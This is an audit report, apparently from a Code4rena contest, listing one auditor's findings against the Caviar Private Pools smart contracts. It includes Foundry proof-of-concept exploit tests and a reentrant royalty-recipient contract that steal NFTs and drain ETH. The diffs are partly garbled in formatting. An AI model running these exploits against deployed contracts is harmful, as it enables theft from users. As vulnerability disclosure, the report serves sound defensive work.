Caviar Private Pools - giovannidisiena's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L454-L476

Vulnerability details

Impact

When called by the private pool owner, PrivatePool::execute is intended to execute a transaction from the pool account to a target contract to allow for use cases such as claiming airdrops. However, if a user decides to interact with the pool directly instead of EthRouter, the owner of a private pool can subtly steal approvals to the pool via PrivatePool::execute by passing an encoded call to transferFrom on the target ERC20/721.

Proof of Concept

Apply the following git diff:

diff --git a/test/PrivatePool/Execute.t.sol b/test/PrivatePool/Execute.t.sol
index f3fa9e3..8cb64c6 100644
--- a/test/PrivatePool/Execute.t.sol
+++ b/test/PrivatePool/Execute.t.sol
@@ -76,4 +76,20 @@ contract ExecuteTest is Fixture {
assertEq(address(airdrop).balance, value, "Should have forwarded value");
assertEq(address(privatePool).balance, balanceBefore, "Private pool balance should have remained the same");
}

-
- function test_exploitStealApproval() public {
-        // arrange
-        address alice = makeAddr("alice");
-        address pwner = makeAddr("pwner");
-        milady.mint(alice, 1);
-        vm.prank(alice);
-        milady.setApprovalForAll(address(privatePool), true);
-        assertEq(milady.ownerOf(1), alice);
-
-        // act
-        privatePool.execute(address(milady), abi.encodeCall(ERC721.transferFrom, (alice, pwner, 1)));
-
-        // assert
-        assertEq(milady.ownerOf(1), pwner);
- }
  }

Tools Used

• Manual review
• Foundry

Recommended Mitigation

This PrivatePool::execute function is powerful and therefore risky, so consider restricting it further by disallowing transferFrom and other potentially dangerous function selectors when extending this contract in future. Filter out unwanted function selectors prior to executing the call.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L229-L231 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L322-L324

Vulnerability details

Impact

When calculating the new PrivatePool::virtualBaseTokenReserves and PrivatePool::virtualBaseTokenReserves, an unsafe downcast from uint256 to uint128 may occur and silently overflow leading to a different value than expected to varying levels of significance depending on the size of overflow. This causes issues in both PrivatePool::buy and PrivatePool::sell if the pool has traded to high enough virtual reserves values or the owner sets them manually.

Tools Used

• Manual review

Recommended Mitigation

Check if the value would overflow before casting. This can also be done with libraries such as OpenZeppelin SafeCast.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L632 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L748-L752

Vulnerability details

Impact

PrivatePool::flashLoan allows callers to execute an NFT flash loan for a fee as specified by PrivatePool::flashFee; however, this function currently returns changeFee which has 4 decimals of precision. For example, as commented above the state variable, 0.0025 ETH == 25 but, in reality, 0.0025 ETH is 25e14 wei. Unlike PrivatePool::changeFeeQuote, PrivatePool::flashLoan performs no additional calculations on the changeFee amount and so the caller can execute this function for a significantly smaller fee than intended by the protocol.

Tools Used

• Manual review

Recommended Mitigation

Modify the calculation to perform similar exponent calculation as in PrivatePool::changeFeeQuote (see M-05).

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L733 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L416

Vulnerability details

Impact

An ERC20 baseToken with decimals less than 4 will result in an underflow in PrivatePool::changeFeeQuote and hence cause PrivatePool::change to be unusable. Whilst this is not overly common, there do exist examples such as Gemini's GUSD which has 2 decimals.

Tools Used

• Manual review

Recommended Mitigation

Modify the calculation and use of changeFee (see M-06) to ensure that the exponent is always to 18 decimals of accuracy rather than 4.

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L141-L143 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L277-L283 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/EthRouter.sol#L188-L191

Vulnerability details

Impact

A malicious royalty recipient can re-enter EthRouter::sell when receiving their share of royalty funds for the final token id from a user's call to EthRouter::buy or EthRouter::sell. By passing an empty EthRouter.Sell[] array, it is possible to force this call to fall-through to the transfer of the remaining contract balance at the function end and hence leave nothing behind for the original caller refund. If a user specifies a public pool when calling EthRouter::sell then ETH is stolen by exploiting slippage as specified by the minOutputAmount parameter. Similarly, if the user specifies either a public or private pool when calling EthRouter::buy then ETH is stolen by forcing transfer of any excess sent with the payable call.

Proof of Concept

Apply the following git diff:

diff --git a/src/EthRouter.sol b/src/EthRouter.sol
index 125001d..f3f2596 100644
--- a/src/EthRouter.sol
+++ b/src/EthRouter.sol
@@ -126,9 +126,9 @@ contract EthRouter is ERC721TokenReceiver {
}
} else {
// execute the buy against a private pool

-                PrivatePool(buys[i].pool).buy{value: buys[i].baseTokenAmount}(
-                    buys[i].tokenIds, buys[i].tokenWeights, buys[i].proof
-                );

*                // PrivatePool(buys[i].pool).buy{value: buys[i].baseTokenAmount}( // @audit - this does not account for
*                // royalties so calls will fail unless additional value is passed (including PoC test)
*                PrivatePool(buys[i].pool).buy{value: msg.value}(buys[i].tokenIds, buys[i].tokenWeights, buys[i].proof);
               }

               for (uint256 j = 0; j < buys[i].tokenIds.length; j++) {

  @@ -143,6 +143,10 @@ contract EthRouter is ERC721TokenReceiver {
  }
  }

* function doETHTransfer(address rec, uint256 fee) public {
*        rec.safeTransferETH(fee);
* }
*      /// @notice Executes a series of sell operations against public or private pools.
       /// @param sells The sell operations to execute.
       /// @param minOutputAmount The minimum amount of output tokens that must be received for the transaction to succeed.
  @@ -187,7 +191,7 @@ contract EthRouter is ERC721TokenReceiver {
  if (royaltyFee > 0) {
  // transfer the royalty fee to the royalty recipient

-                            royaltyRecipient.safeTransferETH(royaltyFee);

*                            try this.doETHTransfer(royaltyRecipient, royaltyFee) {} catch {}
                           }
                       }
                   }
  diff --git a/test/EthRouter/Buy.t.sol b/test/EthRouter/Buy.t.sol
  index 57b569b..48f80bc 100644
  --- a/test/EthRouter/Buy.t.sol
  +++ b/test/EthRouter/Buy.t.sol
  @@ -2,6 +2,7 @@
  pragma solidity ^0.8.19;

import "../Fixture.sol";
+import {ReentrantRoyaltyRecipient} from "../shared/ReentrantRoyaltyRecipient.sol";

contract BuyTest is Fixture {
PrivatePool public privatePool;
@@ -58,6 +59,45 @@ contract BuyTest is Fixture {
);
}

- function \_addBuyPayRoyalties() internal returns (EthRouter.Buy[] memory) {
-        uint256[] memory empty = new uint256[](0);
-        privatePool = factory.create{value: 1e18}(
-            address(0),
-            address(milady),
-            100e18,
-            10e18,
-            200,
-            100,
-            bytes32(0),
-            true,
-            true,
-            bytes32(address(this).balance), // random between each call to _addBuy
-            empty,
-            1e18
-        );
-        uint256[] memory tokenIds = new uint256[](1);
-        for (uint256 i = 0; i < 1; i++) {
-            milady.mint(address(privatePool), i + totalTokens);
-            tokenIds[i] = i + totalTokens;
-        }
-
-        totalTokens += tokenIds.length;
-
-        (uint256 baseTokenAmount,,) = privatePool.buyQuote(tokenIds.length * 1e18);
-
-        EthRouter.Buy[] memory buysWithRoyalties = new EthRouter.Buy[](1);
-        buysWithRoyalties[0] = EthRouter.Buy({
-            pool: payable(address(privatePool)),
-            nft: address(milady),
-            tokenIds: tokenIds,
-            tokenWeights: new uint256[](0),
-            proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
-            baseTokenAmount: baseTokenAmount,
-            isPublicPool: false
-        });
-        return buysWithRoyalties;
- }
-      function test_RefundsExcessEth() public {
           // arrange
           uint256 balanceBefore = address(this).balance;
  @@ -191,4 +231,43 @@ contract BuyTest is Fixture {
  assertEq(address(royaltyRecipient).balance, royaltyFee, "Should have paid royalties");
  assertGt(address(royaltyRecipient).balance, 0, "Should have paid royalties");
  }
-
- function test_exploitPrivatePoolReentrantRoyaltiesReceiver() public {
-        // arrange
-        EthRouter.Buy[] memory buysWithRoyalties = _addBuyPayRoyalties();
-
-        // setup malicious royalty recipient
-        ReentrantRoyaltyRecipient maliciousRoyaltyRecipient = new ReentrantRoyaltyRecipient(
-            ethRouter, 0);
-        milady.setRoyaltyInfo(0.1e18, address(maliciousRoyaltyRecipient));
-        uint256 routerBalanceBefore = address(ethRouter).balance;
-        uint256 poolBalanceBefore = address(buysWithRoyalties[0].pool).balance;
-        uint256 addressThisBalanceBefore = address(this).balance;
-        uint256 royaltyRecipientBalanceBefore = address(maliciousRoyaltyRecipient).balance;
-        emit log_named_uint("router balance before", routerBalanceBefore);
-        emit log_named_uint("pool balance before", poolBalanceBefore);
-        emit log_named_uint("address(this) balance before", addressThisBalanceBefore);
-        emit log_named_uint("royalty recipient balance before", royaltyRecipientBalanceBefore);
-
-        // act
-        maxInputAmount += buysWithRoyalties[0].baseTokenAmount + 1 ether;
-        ethRouter.buy{value: maxInputAmount}(buysWithRoyalties, 0, true); // Note: this will fail unless EthRouter::buy
-            // royalty bug is fixed
-
-        uint256 routerBalanceAfter = address(ethRouter).balance;
-        uint256 poolBalanceAfter = address(buysWithRoyalties[0].pool).balance;
-        uint256 royaltyRecipientBalanceAfter = address(maliciousRoyaltyRecipient).balance;
-
-        // assert
-        assertEq(address(ethRouter).balance, 0, "Should have sent all eth from router");
-        assertGt(
-            address(maliciousRoyaltyRecipient).balance, royaltyRecipientBalanceBefore, "Should have paid royalties"
-        );
-
-        emit log_named_uint("pool balance increase", poolBalanceAfter - poolBalanceBefore);
-        emit log_named_uint("address(this) balance decrease", addressThisBalanceBefore - address(this).balance);
-        emit log_named_uint(
-            "royalty recipient balance increase", royaltyRecipientBalanceAfter - royaltyRecipientBalanceBefore
-        );
- }
  }
  diff --git a/test/EthRouter/Sell.t.sol b/test/EthRouter/Sell.t.sol
  index adfc1e4..c7103f0 100644
  --- a/test/EthRouter/Sell.t.sol
  +++ b/test/EthRouter/Sell.t.sol
  @@ -2,6 +2,7 @@
  pragma solidity ^0.8.19;

import "../Fixture.sol";
+import {ReentrantRoyaltyRecipient} from "../shared/ReentrantRoyaltyRecipient.sol";

contract SellTest is Fixture {
PrivatePool public privatePool;
@@ -53,6 +54,47 @@ contract SellTest is Fixture {
return (sell, baseTokenAmount);
}

- function \_addSellPayRoyalties() internal returns (EthRouter.Sell memory, uint256) {
-        uint256[] memory empty = new uint256[](0);
-        privatePool = factory.create{value: 100e18}(
-            address(0),
-            address(milady),
-            100e18,
-            10e18,
-            200,
-            199,
-            bytes32(0),
-            true,
-            true,
-            bytes32(address(this).balance), // random between each call to _addBuy
-            empty,
-            100e18
-        );
-
-        uint256[] memory tokenIds = new uint256[](2);
-        for (uint256 i = 0; i < 2; i++) {
-            milady.mint(address(this), i + totalTokens);
-            tokenIds[i] = i + totalTokens;
-        }
-
-        totalTokens += 2;
-
-        bytes32[][] memory publicPoolProofs = new bytes32[][](0);
-        EthRouter.Sell memory sell = EthRouter.Sell({
-            pool: payable(address(privatePool)),
-            nft: address(milady),
-            tokenIds: tokenIds,
-            tokenWeights: new uint256[](0),
-            proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
-            stolenNftProofs: new IStolenNftOracle.Message[](0),
-            isPublicPool: false,
-            publicPoolProofs: publicPoolProofs
-        });
-
-        (uint256 baseTokenAmount,,) = privatePool.sellQuote(tokenIds.length * 1e18);
-        return (sell, baseTokenAmount);
- }
-      function test_TransfersOutputAmountToCaller() public {
           // arrange
           EthRouter.Sell[] memory sells = new EthRouter.Sell[](2);
  @@ -237,4 +279,104 @@ contract SellTest is Fixture {
  assertEq(address(royaltyRecipient).balance, royaltyFee, "Should have paid royalties");
  assertGt(address(royaltyRecipient).balance, 0, "Should have paid royalties");
  }
-
- function test_exploitPrivatePoolRoyaltiesDOSFixedByTryCatch() public {
-        // arrange
-        EthRouter.Sell[] memory sells = new EthRouter.Sell[](1);
-        (EthRouter.Sell memory sell, uint256 outputAmount) = _addSellPayRoyalties();
-        minOutputAmount += outputAmount;
-        sells[0] = sell;
-        deal(address(sell.pool), 100 ether);
-
-        // setup malicious royalty recipient
-        ReentrantRoyaltyRecipient maliciousRoyaltyRecipient = new ReentrantRoyaltyRecipient(
-            ethRouter, minOutputAmount);
-        milady.setRoyaltyInfo(0.1e18, address(maliciousRoyaltyRecipient));
-        uint256 routerBalanceBefore = address(ethRouter).balance;
-        uint256 poolBalanceBefore = address(sell.pool).balance;
-        uint256 addressThisBalanceBefore = address(this).balance;
-        uint256 royaltyRecipientBalanceBefore = address(maliciousRoyaltyRecipient).balance;
-
-        // act
-        ethRouter.sell(sells, minOutputAmount * 8900 / 10_000, 0, true);
-
-        uint256 routerBalanceAfter = address(ethRouter).balance;
-        uint256 poolBalanceAfter = address(sell.pool).balance;
-        uint256 royaltyRecipientBalanceAfter = address(maliciousRoyaltyRecipient).balance;
-
-        // assert
-        assertGt(
-            address(maliciousRoyaltyRecipient).balance, royaltyRecipientBalanceBefore, "Should have paid royalties"
-        );
-        assertGt(address(address(this)).balance, addressThisBalanceBefore, "Should have sold for ETH");
-
-        emit log_named_uint("pool balance decrease", poolBalanceBefore - poolBalanceAfter);
-        emit log_named_uint("address(this) balance increase", address(this).balance - addressThisBalanceBefore);
-        emit log_named_uint(
-            "royalty recipient balance increase", royaltyRecipientBalanceAfter - royaltyRecipientBalanceBefore
-        );
- }
-
- function test_exploitPublicPoolReentrantRoyaltiesReceiver() public {
-        // arrange
-        uint256[] memory tokenIds = new uint256[](1);
-        for (uint256 i = 0; i < tokenIds.length; i++) {
-            tokenIds[i] = i + totalTokens;
-            milady.mint(address(this), i + totalTokens);
-        }
-
-        EthRouter.Sell[] memory sells = new EthRouter.Sell[](1);
-        Pair pair = caviar.create(address(milady), address(0), bytes32(0));
-        sells[0] = EthRouter.Sell({
-            pool: payable(address(pair)),
-            nft: address(milady),
-            tokenIds: tokenIds,
-            tokenWeights: new uint256[](0),
-            proof: PrivatePool.MerkleMultiProof(new bytes32[](0), new bool[](0)),
-            stolenNftProofs: new IStolenNftOracle.Message[](0),
-            isPublicPool: true,
-            publicPoolProofs: new bytes32[][](0)
-        });
-        deal(address(pair), 100 ether);
-
-        uint256 outputAmount = pair.sellQuote(tokenIds.length * 1e18);
-
-        uint256 royaltyFeeRate = 0.1e18; // 10%
-        uint256 royaltyFee = outputAmount / tokenIds.length * royaltyFeeRate / 1e18 * tokenIds.length;
-        outputAmount -= royaltyFee;
-        minOutputAmount = outputAmount / 2;
-        // minOutputAmount = 0;
-
-        // setup malicious royalty recipient
-        ReentrantRoyaltyRecipient maliciousRoyaltyRecipient = new ReentrantRoyaltyRecipient(
-            ethRouter, minOutputAmount);
-        milady.setRoyaltyInfo(royaltyFeeRate, address(maliciousRoyaltyRecipient));
-        uint256 routerBalanceBefore = address(ethRouter).balance;
-        uint256 poolBalanceBefore = address(pair).balance;
-        uint256 addressThisBalanceBefore = address(this).balance;
-        uint256 royaltyRecipientBalanceBefore = address(maliciousRoyaltyRecipient).balance;
-        emit log_named_uint("router balance before", routerBalanceBefore);
-        emit log_named_uint("pool balance before", poolBalanceBefore);
-        emit log_named_uint("address(this) balance before", addressThisBalanceBefore);
-        emit log_named_uint("royalty recipient balance before", royaltyRecipientBalanceBefore);
-
-        // act
-        ethRouter.sell(sells, minOutputAmount, 0, true);
-
-        uint256 routerBalanceAfter = address(ethRouter).balance;
-        uint256 poolBalanceAfter = address(pair).balance;
-        uint256 royaltyRecipientBalanceAfter = address(maliciousRoyaltyRecipient).balance;
-
-        // assert
-        assertGt(
-            address(maliciousRoyaltyRecipient).balance, royaltyRecipientBalanceBefore, "Should have paid royalties"
-        );
-        assertGe(address(address(this)).balance, addressThisBalanceBefore + minOutputAmount, "Should have sold for ETH");
-
-        emit log_named_uint("pool balance decrease", poolBalanceBefore - poolBalanceAfter);
-        emit log_named_uint("address(this) balance increase", address(this).balance - addressThisBalanceBefore);
-        emit log_named_uint(
-            "royalty recipient balance increase", royaltyRecipientBalanceAfter - royaltyRecipientBalanceBefore
-        );
- }
  }
  diff --git a/test/shared/Milady.sol b/test/shared/Milady.sol
  index a8944dd..1028c1a 100644
  --- a/test/shared/Milady.sol
  +++ b/test/shared/Milady.sol
  @@ -28,6 +28,6 @@ contract Milady is ERC721, ERC2981 {
  }
  function royaltyInfo(uint256, uint256 salePrice) public view override returns (address, uint256) {

*        return (address(0xbeefbeef), salePrice * royaltyFeeRate / 1e18);

-        return (royaltyRecipient, salePrice * royaltyFeeRate / 1e18);
       }
  }
  diff --git a/test/shared/ReentrantRoyaltyRecipient.sol b/test/shared/ReentrantRoyaltyRecipient.sol
  new file mode 100644
  index 0000000..3116572
  --- /dev/null
  +++ b/test/shared/ReentrantRoyaltyRecipient.sol
  @@ -0,0 +1,23 @@
  +// SPDX-License-Identifier: MIT
  +pragma solidity ^0.8.19;
- +import {EthRouter} from "../../src/EthRouter.sol";
- +contract ReentrantRoyaltyRecipient {
- EthRouter internal ethRouter;
- uint256 internal minOutputAmount;
-
- constructor(EthRouter \_ethRouter, uint256 \_minOutputAmount) {
-        ethRouter = _ethRouter;
-        minOutputAmount = _minOutputAmount;
- }
-
- fallback() external payable {
-        if (address(ethRouter).balance > 0) {
-            EthRouter.Sell[] memory emptySells = new EthRouter.Sell[](0);
-            ethRouter.sell(emptySells, 0, 0, false);
-        } else {
-            address(ethRouter).call{value: minOutputAmount}("");
-        }
- }
  +}

Note that this includes a fix for an unrelated bug (see M-03) to successfully demonstrate the private pool buy case.

Tools Used

• Manual review
• Foundry

Recommended Mitigation

Prevent zero length arrays being passed to router functions and conform to the Checks Effects Interactions pattern to prevent handing over control flow to an external royalty recipient contract until after the user has been reimbursed. Alternatively, consider adding a re-entrancy guard on these functions for simplicity and peace of mind.